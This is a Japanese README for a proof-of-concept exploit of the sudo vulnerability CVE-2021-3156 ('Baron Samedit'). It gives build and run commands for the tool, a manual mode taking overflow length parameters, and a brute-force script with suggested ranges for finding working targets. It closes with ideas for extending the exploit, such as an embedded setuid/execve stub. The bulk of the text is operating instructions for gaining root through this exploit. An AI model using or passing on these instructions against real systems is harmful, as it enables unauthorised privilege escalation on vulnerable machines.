CVE-2021-3156 PoC

はじめに

これは、Qualys によって Baron Samedit と名付けられた CVE-2021-3156 sudo 脆弱性に対するエクスプロイトです。

使用方法

ビルド:

$ make

ターゲット一覧:

$ ./sudo-hax-me-a-sandwich

実行:

$ ./sudo-hax-me-a-sandwich <target_number>

手動モード:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ターゲット探索のブルートフォース (試験的)

GNU parallel がインストールされていることを確認してください。

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

試すべきデフォルト値の例:

$ ./brute.sh 90 120 50 70 150 300

利用可能なすべてのコアを消費します。Netflix を見ながらのブルートフォースはやめておきましょう。

コントリビューション

(妥当な) PR を送ってください。マージするかもしれません。

いくつかのアイデア:

• より多くのターゲット
• ターゲット探索
• その他のエクスプロイト戦略
• より自己完結的な機能:
  • 共有ライブラリ hax.c を埋め込む (小さくしてください。ELF golf + asm setuid/execve スタブ)
  • hax.c に mkdir ロジックを追加
• ディレクトリ/共有ライブラリのクリーンアップ